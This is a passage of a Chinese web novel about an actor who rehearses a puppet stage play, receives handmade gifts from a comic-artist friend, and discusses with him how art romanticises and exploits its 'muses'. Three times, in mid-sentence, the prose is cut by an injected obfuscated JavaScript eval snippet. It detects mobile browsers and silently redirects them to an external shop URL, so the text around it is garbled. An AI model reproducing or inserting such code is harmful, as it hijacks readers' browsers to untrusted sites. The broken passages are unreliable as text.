他问：“鳜鱼，你一上升期的小花，不去拍网剧、拍电影，反而在线下排舞台剧，推掉半年的工作，值当吗？” “半年的工作？”桂予宁苦笑道，“那也得有工作给我干吧！” 她也很无奈，“漂亮的脸一茬又一茬地长上来，我这个定位和赛道竞争太激烈了。能接触到的项目要么没法开工、要么明显不靠谱。哦，对，还有个待播剧，男主角成法制咖，上不了了。” 只要不陪酒、不跟人睡觉，桂予宁为了能接到戏能做的二话不说都会做，撕资源陪投资人爬山、长跑、钓鱼……有机会她都拼了命地去争取。但没有背景的她能接到的工作还是越来越少。 “实在不行，你接个综艺呢？”江浏问。 桂予宁反问：“你怎么不上综艺？” “我性格比较无聊，没什么综艺效果的。”江浏想了想，“再加上，如果演员综艺去多了、个人的形象太鲜明，以后大家看我的角色会容易出戏的。” 桂予宁认同地点点头，“我也是。我这人嘴碎话多，又不是那种说话特别温柔、娇滴滴的，很容易被恶意剪辑。等舞台剧演完了，实在不行，我再去中年女团节目成团试试。” 说着，桂予宁用极为夸张的动作和语气，带着点搞笑和讽刺的意思，原地跳了一段大热女团舞的副歌。 基本上就是把一句英文单词的音节拆开，和尚念经似的不断重复就行了。 折腾完后两个人都笑得不行。 桂予宁扶着自己跳岔气儿的腰，“我刚刚瞟了眼镜子，这个五分裤加宽松T恤的穿搭，显得我真的很儿童身材啊！” “还有新剪的这个头发，远看就是小孩儿。”江浏笑着说。 为了贴合角色，她把大波浪长发拉直、打薄、扎成马尾，远看更像学生了。 尽管桂予宁的一米六的个头在高挑美女如云的娱乐圈里算是低谷区，但是她身材比例极好，腿长腰细，只看不跟别人对比的单人照，总会以为她身高有一米七以上。 “看着这个扮相，我就觉得那么多年都白干了。”桂予宁叹气道，“我什么时候能演成熟的大姐姐啊！” 人总是会向往得不到的东西，不知道有多少女星羡慕她这张娃娃脸，拼了命也要把脸往幼态、甜美的方向调整。 江浏只说：“再过五年看看吧” 已经静音的私人手机亮屏，弹出无声的消息。 【夜幕糖】：早！ 【夜幕糖】：[图片] 【夜幕糖】：收到你给我寄的回礼啦！我没忍住开袋尝了口牛脆片，真的好好吃！还有那个冻干果片、蛋卷、肉松饼干……看起来就很好吃，两大箱子零食我看着都懵了，感谢投喂[流泪] 【夜幕糖】：[动画表情：好吃哭了] 谁叫某个可怜小漫画家铁骨铮铮拒绝包养，但存款吃紧为了省钱只吃泡面让江浏给发现了呢？ 希望这些江浏吃过后魂牵梦萦但为了保持上镜的身材不敢多吃的好东西，能够多少给糖老师补充点营养吧。 “什么好事儿，抱着手机笑得那么开心？”桂予宁问他。 江浏习惯性地扣上手机，有些疑惑，“我笑了吗？” “当然。”桂予宁两手勾着自己的嘴角，“笑得口水都要流出来了。” 21. 道具 江浏摸摸自己的脸，笑肌确实是无意识提起来的。 他嘴硬道：“我哪有你说得那么猥琐？” “你咧着嘴笑跟个大傻子似的，还不让人说了？”桂予宁问他，“看你朋友圈，昨天休息日去骑马了？” 江浏愉快地“嗯”了声，拿了几块瑜伽砖压脚背，“感觉自己好久没骑，都快忘了。” “我也是。”桂予宁摇摇头，“上部戏拍的间隙我去别的片场串门，发现他们骑马戏根本就没有马，两个人一前一后踩在木箱子上颠。说是马贵又危险，要后期合成。” 说到如今的行业乱象，两个人都无奈地叹了口气，继续排练前的热身。 既然绝大部分剧组对骑马戏都是摆烂的态度，那么江浏大热天跑到露天马场，就根本不可能是为了工作。 还不是为了夜幕糖太太画正经的骑马戏有参考么！ 马场是他提前约好的，衣服、假发是当晚加班加点收尾的。 昨天，江浏先穿常服找了找感觉，教练指导他复习了几个技巧动作，也跟马儿培养了感情。稍作休息后，他换上了定制的甲胄，在教练的辅助下拍了骑射的正片，还拍了不少群马撒欢的素材。 正片待修，但是视频当场就发了过去。 【夜幕糖】：天啊，可爱小马竟然还扎了辫子！ 【夜幕糖】：看到这个辫子，我忽然想起来，战马是要好好护理的。大将军应该很爱护自己的战马，跟出生入死的小马有深厚的感情。 【夜幕糖】：但我的关注点都在别的地方，没有画过或者在台词里提过他跟马互动的细节。没铺这个伏笔，太可惜了，真想返回前面改。等完结出本子的时候我再精修一下。 【夜幕糖】：月总天下第一好！ 拍完骑马视频，江浏跟着师傅进了马棚，给夜幕糖拍师傅给不同品种的马梳浮毛、剪马尾、修蹄子、钉蹄铁的小视频。 他举着手机一边拍一边解说，“现在向镜头走来的宝宝是一匹肩高一米八、体重九百公斤的重挽马。一个师傅修甲根本弄不动，所以要把小马固定起来，脚要吊起来才能修蹄子。” 【夜幕糖】：感谢现场记者月总的报道，演播室收到哈哈哈哈！ 【夜幕糖】：师傅给马修蹄的姿势好辛苦的哦，一直弯着腰。 【夜幕糖】：修马蹄声音真的好治愈，感觉留到睡前听很助眠。 最后，江浏让夜幕糖看着视频从框里挑了只水灵灵的胡萝卜，喂给了这匹九百公斤的大宝宝。 除了有点累、有点中暑之外，其他都非常完美。 江浏还傻笑着，回忆昨天的休息日。这时，剧组工作人员的呼唤吸引了演员们的注意。 “定制的道具来了！今天可以上道具了！” 已经到场演员们一窝蜂地跑过去帮忙卸货，都急着想看到自己的道具。 那些神奇的童话生物青蛙、白龙、煤球的木偶都长什么样子、拿在手里是什么感觉、怎么操控？ 乔希娜看着他们兴奋地大叫着跑过去的模样，愉悦地挑起眉毛，对小郑说：“你看看，现在哪个剧组的演员还能像这样保持对舞台的热情和新事物的好奇呢？都老佛爷似的供着。” “咱们剧组年轻嘛！总是有朝气的。”小郑看着演蜘蛛爷爷的老戏骨跟孩子似的挥舞自己的道具蜘蛛腿，笑说，“老顽童也是心里年轻。” 演青蛙的小伙子是偶戏专业的，刚刚从戏剧学院毕业，算是江浏和桂予宁的校友，他如获至宝地拆下缠绕在青蛙木偶外面减震的珍珠棉和泡沫纸，小心翼翼地操纵着青蛙，“你们看，能动！” 他把声音捏成瘪瘪的、怪怪的青蛙声线，说出剧中的台词，“好臭，臭死了，熏得眼睛要睁不开了，啊！” 随着台词中的惨叫，他操控着手中的青蛙木偶，连人带蛙一起倒在地上装晕，逗得大家哈哈大笑。 饰演前辈姐姐的女演员轻轻拆开包装，“你们看，这个薄塑料布真神了，看起来像是那种老旧餐厅铺在桌面上挡油污的那种塑料桌布，但是一挥起来、抖起来真的好有水的感觉。” 她也是陈老太太的学生，如今大三在读还在象牙塔里，但立体又美艳的脸是成熟系的大美人，看起来比学姐桂予宁更像大人。 “江浏老师，你弄一下试试！”她两眼冒光。 毕竟某人的舞蹈功底是有口皆碑，在学院里代代相传的。 江浏也不是放不开的人，说跳就跳。他拿起那块透明塑料布，走到空地上，云手一扬，起范儿，几个古典舞的技巧组合之下，那块原本看起来廉价的塑料布竟真的像是流水浮空、绕在仙人身侧。 “哇啊啊啊！” 演员们齐齐鼓掌尖叫。 江浏利落地收了动作行礼谢幕，将自己弄乱的塑料布折好放回去，继续帮道具组的工作人员拆包。 别人都找到了自己的木偶，但是江浏还没看到自己的白龙呢。 然后，他就拆出来了一条白色的“带鱼”。 “啊……”江浏拿起那条“带鱼”面露难色。 这是原版真人舞台剧存在的道具问题。原剧组制作时希望能利用近大远小的原理，当剧情中的龙向远处飞走，台上的演员会在舞台后方置景处支起长长的杆子，在空中挥舞这条画着龙头的白色飘带。 但说真的，每个看过原舞台剧这个段落的人，都是心里明白这个道具希望呈现的效果，但视觉上不能把这玩意儿当成白龙。 就这个形状，不联想到带鱼才比较难吧？ “小型龙道具的问题，估计得联系一下版权方，看看能不能修改了。”乔希娜走近，拿着“带鱼”的时候也面露难色，有点嫌弃，“这哪里像龙了？” 大型的白龙道具也有两个，一个是内里中空、布做龙身、方便挥舞的，长得有些像低配版的舞龙；另一个是沉甸甸的实心龙身，头部雕刻得比较细致，还能张嘴控制表情。 “大浏，龙头在这里！你快过来看！”桂予宁指着箱子上的小贴纸。 江浏激动的心、颤抖的手，用快递刀划开了箱子上层层透明胶。 “这个，比原版舞台剧的木偶还原太多了吧！” 他甚至有些不敢伸手去摸。 “原版龙头雕得短胖，眼睛也直愣愣的有点傻，跟哈士奇似的，身子又粗，显得像大胖虫。现在改的这版就清减、秀气多了，像是电影里面帅气潇洒的龙了。” 乔希娜面无表情，冷哼一声，“能改得好看，还得多亏他们自己掉链子呢！要不是他们指定的欧美那边做龙头道具的工作室以资金和人员不足为由拒接我们的单子，版权方是不会让我们自己做的。” 这扑面而来的怨气，显然是跟版权方谈判时受的气。 “论轻工业，还得是咱们自己家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815089|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给力。”乔希娜与江浏合力将龙头从箱子里拿出来，“你看，很坚固但重量轻，舞台上是很好操作的。而且价格比拒了我们的老外工作室的报价少了个零诶！” 演职人员们纷纷拆出了龙身子，将各个组件挪出了道具间，直奔排练厅而去。大家都排着队地想要玩一玩舞龙，氛围热闹得不行。 在道具带来的新鲜感和视觉上的冲击感帮助之下，当天的排练大家都特别有干劲，尤其是扮演动物类角色的年轻演员，拿到了道具、有了具体的形象，自然而然地更投入、戏感更好了。 但体力的消耗也显著地增加了，表演的同时控制道具也会在走位复杂的场景让演员分心，对演员之间的配合与默契程度要求变得更加苛刻，因此出现失误的情况也比此前多了不少。 负责操控蜘蛛爷爷另外六条腿的演员们总是摔倒，把彼此跟道具缠成死结；带头套的演员被重量和狭窄的视野弄得晕头转向，马路杀手似的到处撞车碰瓷；做技巧动作的演员被道具服的大袖子和挂件殴打…… 欢笑声还在耳边，带着满身的疲惫和兴奋的灵魂，江浏回到了家中。 洗漱完后，他还哼着舞台剧背景音乐的旋律，脑子里循环着排练的情景。 在进组之前，江浏还担心这剧要背上毁原著的骂名。但现在他的想法完全不一样了。 “好想让糖咪也看看啊……”江浏喃喃自语。 随着时间的推移，“平野月”和夜幕糖越亲近，江浏越是想要通过扎扎实实的作品改变“水帝”在对方心里的印象。 此前苦于没有特别合适的代表作推荐，江浏无从下手，只能躺平了任由嘲讽，但现在不同了，这部舞台剧说不定会是很好的契机。 如果后期剧组还能保持这样的状态，说不定，这是个可以超越原版舞台剧，更接近动画电影原作质感的好作品。 “而且，糖老师也不是完全不接受真人化。”江浏翻看二人的聊天记录，“每次我出Cos他也都很喜欢的。” 都是他认真对待的作品和角色，应该也能获得对方的认可吧？ “但是，如果是直接推荐，还是有点冒犯。估计太太一看到演员表有水帝的名字，就要避雷了。” 江浏叹了口气，一筹莫展。 “急不来，此事还是得徐徐图之。” 想要夜幕糖看，可能还需要铺垫，得要对方自己主动看到、不怀任何预设和偏见情况下才行。 “那就得靠暗示了。” 先是找机会聊一波童年回忆。如果夜幕糖看过原作动画电影，那他就撺掇人家重刷，或者推荐好的拉片博主去探讨和分析画面与剧情；没看过，正好安利了不会塌房的经典。 然后，他再找机会分享原版舞台剧，如果夜幕糖看了之后能接受，那便是打消了“真人版毁原作”的惯性思维。他就可以多多分享原版舞台剧的各类视频和物料。 一套小连招下来，只要夜幕糖搜索过关键词，大数据就会疯狂推送相关内容。 等到他们开始巡演了，外包的宣传手段就上来了。各个平台买推送，大巴车公交站上贴宣传海报，邀请有流量的影视区博主观看后发合作视频…… 只要相关的信息在生活中重复的次数够多，总有一天会引起注意的。 这真是个茶味十足、天衣无缝的计划啊！ 江浏暗戳戳地搓了搓手。 22. 礼物 这天，排练完收工到家的江浏收到了一个快递包裹。 “最近也没买东西啊？” 他有些疑惑和警惕，翻看快递单上的信息。 “寄件人谁啊……叶慕唐。” 排练了一整天太累了，江浏单是看字还没反应过来，嘴里都念出来了才恍然大悟。 叶慕唐，不就是“夜幕糖”吗？ 再看收件人写的是“平野月”，那就是糖老师无疑了。 “老师，您是不是……不小心自爆马甲了啊？”江浏无奈地笑着，想着这人有些时候确实迷迷糊糊、马马虎虎的。 比如被读者戏称“错别字大王”。漫画的对话气泡就那么几个字，还会时不时冒出错的。倒不是糖老师文化水平不行，单纯是赶稿着急。更新的截止线快抽到脖子上了，哪有时间细致检查？ 不过读者指出来之后他改得也很快，立正挨打道歉滑跪熟练得不行。 此外这人还干过好些糊涂事儿，第一次邮东西填错了江浏家的门牌号、去漫展前永远找不到发网、出门办事不是忘带手机就是忘带证件…… 小错不断，大错不犯。关键时刻倒是从不掉链子。 反而……有点可爱。 盯着快递单上的信息，江浏忽然不想这张单子是内容会慢慢消失的热敏纸了。如果能留得久些就好了。 他搜索过怎么长时间保存热敏纸上的内容，细细地将快递单切下来处理好，怀着期待打开了箱子。 夜幕糖又给他邮寄了好多稀奇古怪，但正中红心的小玩意儿。 书页里面夹了种子，看过之后把书页撕下来埋进土里能种出东西的同人本；加了磁铁可以把反派脑袋当乒乓球打的抽象磁吸流麻；把“思维驰”游戏卡带盒子改装成游戏剧情相关立体书的材料包…… 太可爱了，太可爱了！ 每个都送得江浏心里暖暖的，又酸酸的。 他坐在客厅，一样接着一样细细研究起来，恨不得马上就开始种东西、给卡带盒拼装立体书。 礼物真是奇妙的东西，有点“彼之蜜糖，汝之砒霜”的意思。 像是生活助理小牧，他就喜欢马牌、驴牌和香奶奶的包，江浏却对这玩意儿不感冒。趁着当品牌大使之便，江浏每年都搞一堆包送给小牧，给人乐得发癫说下辈子都要给江浏当助理。 江浏倒不觉得喜欢奢侈品就“俗”了，相反，他很清楚、很理解这些奢侈品的价值和作用，甚至自己走红毯、出席活动为了能借大牌的衣服和首饰也是使出浑身解数。 只是干了那么多年，金钱的增加已经无法给江浏带来更多的快乐了。 这些纸片、塑料在他工作所处的圈子里一文不值，在他心里却是凝聚了创意和梦想的无价之宝。 可是，这样的礼物，除了夜幕糖也没有别人能送给他了。 夜幕糖了解他、在乎他、认同他，记得他的帮助和好意、感谢他的支持和陪伴。多好、多真挚的人啊，哪怕生活拮据，夜幕糖也想在能力范围内尽可能地向他表达。 然而，他继续翻下去才发现自己的感慨有些早了。 拿出签绘的色纸、全套的新周边之后，江浏掀开防震的珍珠棉和拉菲草，看到了抱着一本横版漫画书的定制棉花娃娃。 娃娃带着黑口罩，眼角的泪痣和江浏脸上的位置一样，圆滚滚的小短手粘在书的封底上沿，小脚则固定在封底下沿，像是将书抱起来的姿势也充当了支架，可以把书立起来摆放。 那本手工小漫画书封面是毛茸茸的材质，用不织布拼贴填色粘上了标题。 《流星对月有话说》 下面还跟着用丙烯颜料写在小块不织布上的副标题“——夜幕糖给他的朋友们”。 江浏拿起自己形象的娃娃放在茶几上，在灯光下翻开娃娃怀中的迷你漫画书。 Q版的彩色四格漫画记录了他们在漫展上的两次相遇，夜幕糖配上了自己的心理活动，让各种事件在四格画框内抖完包袱，形成利落的节奏和密集的笑料。 原来，眼看着“平野月”集邮队伍太长，夜幕糖纠结过很久。他既担心那么多人想要合影可能排不到自己，又怕自己排到了害得本来就很累的平野月还得继续营业，怕自己耽误人家游玩。 所以他选择跟在江浏身后观察，找准时机用口风琴吹了剧情动画的名场面神BGM吸引人的主意。 一页又一页的漫画记录了他们的相遇和陪伴，四格漫画后他专门留了弄了一个大跨页，内容是五彩缤纷、层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815090|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层叠叠的各色聊天气泡，大大小小、有长有短的气泡里用不同的字体记录二人讨论过的许多关键词。 迷你漫画书的最后一页不再是Q版，夜幕糖以写实又美型的画风重新画了他们两个在漫展上的自拍合照。 此前书页间温暖明亮的色彩消失不见，只余黑白两色，但画出来的两个人反而更亮了、更鲜艳和鲜活地突出了。 原本照片里的生疏和礼貌消失不见，画中人的动作舒展又自然，缩短的距离和呼应的身体姿态透着亲近和熟稔，发丝和衣角柔软地飘着，出了喜欢角色的二人向上看着镜头，笑得阳光灿烂。 画面右下角像是早年动画结尾那样，写了双语的“未完待续”后面坠着圆滚滚的省略号。 夜幕糖没在迷你漫画书里说任何煽情和感谢的话，但他又好像什么都说了。 翻开的漫画停在最后一页，江浏看着那页的他们，看了许久。 然后，他起身去找了纸巾。 江浏吸着发红的鼻子，擦了好一会儿眼角才堪堪停下，却没想到拿起手机要给夜幕糖拍返图、写Repo的时候又收不住自己的情绪了。 那一页的合影图，让江浏忽然发自内心地明白了，为什么有了摄影人们依然需要绘画。 是的，论“像”和“还原”绘画，比不上摄影。 但人眼所见的世界与镜头记录下的世界是不一样的。 绘画是主观的，是绘者眼中的世界，而这个世界里的重点，从不虚焦。 夜幕糖画的是拍下合照时的他们，也是现在的，后来的他们。 收到返图的叶慕唐发了几个开心和羞涩的表情包。 【夜幕糖】：你喜欢我给的礼物，我也超级开心、超级满足哒！ 【夜幕糖】：感谢月总！ 【夜幕糖】：感谢你给我无限的灵感、思考和启发。 【夜幕糖】：以及，这个你介意我发在大眼仔上面吗？如果有比较介意的信息不想被其他人看，我会打码的。你要是不想发在公开平台，我就不发。 【夜幕糖】：我就是想记录一下，想给读者们分享一下。毕竟，读者们看到的精彩也有你的功劳在。 【夜幕糖】：想要跟全世界炫耀我们最好的月总。 23. 缪斯 江浏的大脑因为过分强烈的情绪热得有些冲动，等到他反应过来时，叶慕唐已经接起了他的电话。 “可以发的。”江浏又说了一遍，“可以的。” 话都说出口了，他才想起来补充道：“就是脸上的泪痣，可不可以帮我抹掉？” 别的不说，夜幕糖对人脸的观察很细致。尽管是漫画化的人像，但关键的眉眼特征都抓得很准，只要有照片一对比就知道是谁。像是特殊位置的痣这类太有个人特征的东西，最好还是模糊化处理。 “没问题！小事情。”叶慕唐正在描线，压感笔和键盘“喀拉”的声音像是令人内心能平静下来的助眠白噪音，“我现在还不着急发，等我确认了其他人的反馈再放出去。” 关键词“其他人”给江浏过热的大脑泼了盆冷水。 他瞟了眼毛茸茸的封面，看着不织布标题下的副标题。 “——夜幕糖给他的朋友们”。 既然是朋友“们”，那就说明还有别的朋友！ 忽然，江浏竟有些能理解和共情林黛玉了。 ——是单给我一个，还是旁人都有？ 头脑是冷静了，但心里是更乱了。原本纯粹的高兴里隐隐粘上了些不太明显但又有点扎人的失落。 江浏也不知道自己在说什么，“谢谢你，我真的从来没想到过，能收到这么好的礼物。我其实没做什么，好像没有你说得那么……” “停停停！”叶慕唐赶紧打断他，“异议あり①！我不赞成这个说法，我说有就是有！而且很多、超多、特别多！以我的感受为准，不接受反驳、反驳无效！” 明明是江浏从夜幕糖那里获得了很多很多。 “我真的，有给你很多灵感吗？”江浏再次想他确认。 叶慕唐秒答：“当然！你看看我多久都没有卡过剧情了！还有那么多读者狂夸的边塞篇那几话，要没有你提供素材，我只能凑合着画，肯定没有现在效果这么好！” “那我算不算……晋升你的‘缪斯’了？”江浏半开玩笑地说。 他知道这个比喻并不恰当，知道自己说得话好傻，但也暴露了他的内心。江浏想要自己能成为在对方视野中那个稍稍特别一点点的、与众不同的人。 不料，叶慕唐却并没有想往日那样给出快速、直白又热烈的肯定。 “嗯……”叶慕唐发出思索的鼻音，“怎么说呢？我其实不太喜欢‘缪斯’或者‘美神降临’这类说法。如果用这样的话来形容你，我觉得是对你的不尊重。” 江浏很意外，也很好奇，“能跟我说说吗，你为什么不喜欢‘缪斯’这个说法，是因为用的人太多吗？” “有点难解释，你得让我想想怎么说。”叶慕唐少见的因为聊天和思考而停下手头的描线。 亢奋的大脑状态让他小动作不断，笔尖没有在画画，只是无意义地“哒哒”规律地敲在桌面上，填充了因专注的头脑风暴而安静下来的时间。 品味着心里模糊但又明确存在的厌恶，叶慕唐说：“既然三言两语讲不清楚，我就说得啰嗦一点，跟你讲我是怎么发现我不喜欢‘缪斯’这个说法的。” “嗯，你说得细一点，我想听的。”江浏摸着手里的棉花娃娃。 叶慕唐的思维开始发散。 “有一幅油画，我刚开始看到的时候很惊艳、很喜欢，后来反而是越来越讨厌的。叫《水中的奥菲利亚》，画的是哈姆雷特的女朋友，她被父亲和男友的仇恨夹在中间腹背受敌，最后精神失常溺水身亡。” 江浏没看过这幅画，老实地承认，“我去搜一下，看看是什么样的画。” “嗯，你去查一下就能看到，很有名、画得很好的。”叶慕唐似乎是思路通了很多，重新开始描线，“五彩缤纷的花朵同安详的少女飘在河流里，每一朵花都有特殊的寓意。” 万能的搜索引擎很快将画作的各类信息丢给江浏。 “是很好看，很凄美的画。”江浏看着好看，更觉得奇怪了，“那你怎么会变得讨厌它，发生了什么事情吗？” 叶慕唐的声音听起来闷闷的，“因为我知道了画面以外的故事。” 画家为了能画出更加逼真的效果，让模特躺在满是水的浴缸里，几个小时过去，为浴缸加热的煤油灯熄灭，水渐渐变得冰冷，但画家的创作还在持续，最终让模特染上了肺炎。 “以那个时代的医疗条件，染上肺炎这东西死亡率太高了。当模特的女孩差点离世。因为这个事情，女孩的母亲将画家告上法庭才得到医药费赔偿。” 比起唯美诗意的画面，这背后的创作故事显得格外不堪。 “明明模特才是真正的受害者，母亲的索赔也是正当的。但很多人提起这个故事，似乎都有意无意地站在画家的角度叙述，好像只要是为了‘艺术’，有了这个冠冕堂皇的理由，画家做什么都无罪了。” 画家成了艺术家，画作成了艺术品，但那些辉煌关‘缪斯’什么事儿呢？ 连失去健康后正义的索赔都会被指责“俗人的铜臭玷污了艺术”。 人们欣赏的画作明明是她们的脸、她们的身体、她们的悲剧，可她们本人在看客眼里一文不值。 叶慕唐笃定地说：“我讨厌这样的态度，讨厌认为模特是画家的‘缪斯’也合该为艺术献身的想法。不就是不把模特当人吗？” 他只觉得，那些为了别人所谓的艺术牺牲的“缪斯”好可怜。 “我知道，创作者的道德水准和艺术才华是两码事，我们只是欣赏画作的人。可我无法忽略，那画里浸着人血。很多所谓的‘艺术’都是在吸‘缪斯’的血。” 他言语间是朴素的同情和因此而起的愤怒。 “什么叫‘为艺术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815091|190840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献身’？要献身怎么自己不献？要求别人为自己的艺术献身，那不就是欺负人的借口！” 叶慕唐的声音透过收音很差的语音电话传来，但其中蕴含的情绪并没有任何削减，直截了当地重重击中了江浏麻木许久的内心。 到此刻，江浏才猛然意识到，叶慕唐所说的这些，不正是每时每刻发生在他自己身边的吗？ 他知道自己从入行开始就被卷进了权、钱、色、欲的旋涡，可什么时候开始，他变成那种想着“见怪不怪”“常有的事情”而冷眼旁观的人了？ 原本的麻木和习以为常，在此刻忽然裂开一条小缝，动摇出细细碎碎的尘渣和灰烟。 “我想，我大概能理解你感到不舒服的点。”江浏的脑海里划过了许多女演员的名字和她们参演的作品，“就像很多女演员刚出道时，被很有江湖地位的导演要求‘为艺术献身’演不穿衣服的戏。” 他说：“如果‘献身’是高尚、无私、受人尊敬的，为什么有了名气、地位和选择权之后，她们不再‘献身’了？这么‘宝贵’的机会，大导演为什么留给新人，拿去做资源置换的筹码不香吗？” “就是，如果真的是一件大好事，轮得到新人头上吗？”叶慕唐嗤笑道，“因为他们心里都门儿清！都知道‘献身’不是什么好东西，揣着明白装糊涂，嘴上的屁话一套又一套，光是说的好听！” 江浏看着平板上的那幅画，“而且我觉得，从文学的主题上来看，我不太喜欢美化死亡的题材，尤其是美化为情丧命的人，让我说不出来但就是很难受。” 正如他出道作《直上青云》里的少年舞姬，电影里他的落幕太过盛大和唯美，反而让他感到不适和抗拒。 “对啊，那不就是‘艳尸文学’么！”叶慕唐把键盘敲得很响，“我很讨厌美化女人的死。淹死是很恐怖、很难看的，但创作者却给她赋予了想象中的凄美和破碎，把生命变成了一个符号、象征。” 画漫画的人思维跳跃，又走进了另一个险峻又新奇的角度。 “还有很多画家跟模特结婚、发展婚外情。这就更让我觉得恶心了。在那些人的眼里，模特和摆在台子上的石膏像、苹果、酒杯没有任何区别，只是会喘气、会动、还能艹。” 叶慕唐攥紧了笔，“画家是会和自己的模特doi，可本质上，他只是借用‘缪斯’这个道具，跟自己的审美、自己的理想、自己的倒影、自己的权力doi。” 艺术的历史和被其美化的人们并不高雅，实际上它只是一块吊起来拍拍会抖落好多虱子和灰尘的、染了血泪汗水和体.液的遮羞布。 他又说：“所以，我不会说你是‘缪斯’这种屁话。你就是你这个人。我看到的是你，而不是在你身上看到我欲求的倒影。” 那句话如此稀松平常地落下。 却让江浏感到震耳欲聋。 24. 袒露 一直以来，作为演员的江浏都是被选择的那个，习惯于把自己摆放在货架上。 包装要新、要完美、没有破损，最好能细分出无数个类型满足各种需求，随时可以供人挑选。 哪怕他清醒着，知道不要物化自己的人格。但最终的结果也只能是更加痛苦地，眼睁睁地看着自己陷了进去，不得已本能地用冷漠和麻木的外壳做无用的抵抗和自我保护。 人们总是小瞧了环境和氛围的裹挟和碾压，直到以身入局才发现那样庞大的体系绞肉机一样地运转着，他个人的意志不过是其中的一粒血水，实在是不堪一击的东西。 选择他的人、喜欢他的人、厌恶他的人……甚至，包括他自己，都是这样看待“江浏”这件商品。 江浏一直觉得自己拥有强大的内心，自觉百毒不侵。恶意的攻击也好、带有目的的吹捧也好，都过耳不过脑，日子久了、听到的东西多了，习惯了也就还好，不会对他造成任何影响。 但直到此刻，叶慕唐的话给他带来的强烈感受却让他意识到事实并非如此。 “我不会说你是‘缪斯’这种屁话。” “你就是你这个人。” “我看到的是你，而不是在你身上看到我欲求的倒影。” 那样触动他内心痛处、砸在心坎上的话，没有任何身边的人对他说过。 江浏是感到温暖的、开心的，可他为什么会眼泪涌上眼眶，为什么会为一件好事而哭，发觉自己被浸润在巨大的悲伤里？ 前所未有的尊重和温柔将视线投注在他身上，在治愈他的同时让他恍然发现了自己身上曾被刻意忽略的巨大的创伤。 原来，他没有他自己表现得那么拿得起、放得下。 封闭了自己的内心，毫不犹豫地攻击自己就像伤害一个不会痛、不会难过、坏了也无所谓的物件，像是说别人的事情那样翻开自己的伤口嘲讽，那并不叫坚强、也不算放下。 在面对自我的真是感受时已经“解离”的人，又如何能有敞开心扉的“共情”？ 江浏这才后知后觉地发现，他又一次努力错了方向。 他想要表演上的进步，想要激发真实的自我和角色的共鸣之处，却只是在修炼外在的“术”，维护外貌、锻炼技巧……他一直在自己的心门之外兜圈子，甚至未曾直面过自己，谈何“突破”？ “……那个，我是不是说错话了？” 电话那边传来叶慕唐的声音，听着对面的平野月久久没有说话，有些忐忑。 “没有没有！真的没有！”江浏连忙解释，“是我这个人比较笨，脑子只能单线程处理任务，刚刚在思考你说的那些话，想得太入神了才没说话的。” 他无比真诚地说：“我很想对你说声‘谢谢’。虽然是我先说不要太礼貌和太生分的，但我还是想这么说。谢谢你跟我说这些。你说我帮到了你，可实际上你也很多很多地帮到了我。” “月总，那个，你，是不是……哭了。”叶慕唐小心翼翼地问。 江浏都不知道是什么暴露了自己的眼泪，叫对面那人没看见他的脸也能知道。 是带鼻音的呼吸还是微微变了调的声音？ 他终于不是为了表演悲伤，才调动身体的反应。 “让你看到难堪的一面了。”江浏擦去滴落在棉花娃娃上的泪珠，“没事的，我缓一下就好。” 电话那边的人明显地手足无措起来，慌张地问：“我能，那个，我能为你做些什么吗？就是……你想，我做些什么，反正，我不会挂，我就在这里。” “谢谢你。”江浏抹了把脸，“这样就够了。你已经做了很多了。” 叶慕唐小声说：“对不起，我有点没用，不太会安慰人，但你想跟我说说吗？我会听着的。” “好呀。”江浏明明眼眶还红着，却笑了，“那你陪我说说话。” 他拿起手机抱着娃娃和迷你漫画书在家中踱步，“你说，艺术是块肮脏的遮羞布。我觉得说得很对，但我有别的答案。你想知道吗？” “嗯嗯。”叶慕唐诚实地点点头。 江浏微红的眼尾是笑着的弧度，“那你问我。” “好。”叶慕唐真是对面说什么就做什么，老老实实地问，“那你觉得什么是艺术？” “非要我说……艺术是高明的谎言。” 说着，不知为何，江浏眼角又滚出一滴眼泪。 “艺术是假的，你是这个意思吗？”叶慕唐问。 江浏摇摇头，“不，高明的谎言目的是叫人相信。是真里掺了假，假里混着真。最厉害的谎言，是十句话里，九句真话加上一句假话，所以才好、才叫人深信不疑。” 他又说：“就像表演，眼泪最好在眼眶里打转，但不能直接不管不顾地流下来。演员在台上要留一丝清醒的，要知道自己是在为观众服务的。而不是自我沉浸和炫技。” 那些不着边际的话，叶慕唐都认真地听着，并给出回应。 “我懂的，我也不喜欢那种跟观众炫耀‘你看，我多会哭、多有破碎感’的演员。”叶慕唐控制不住自己的小动作，“感觉像是 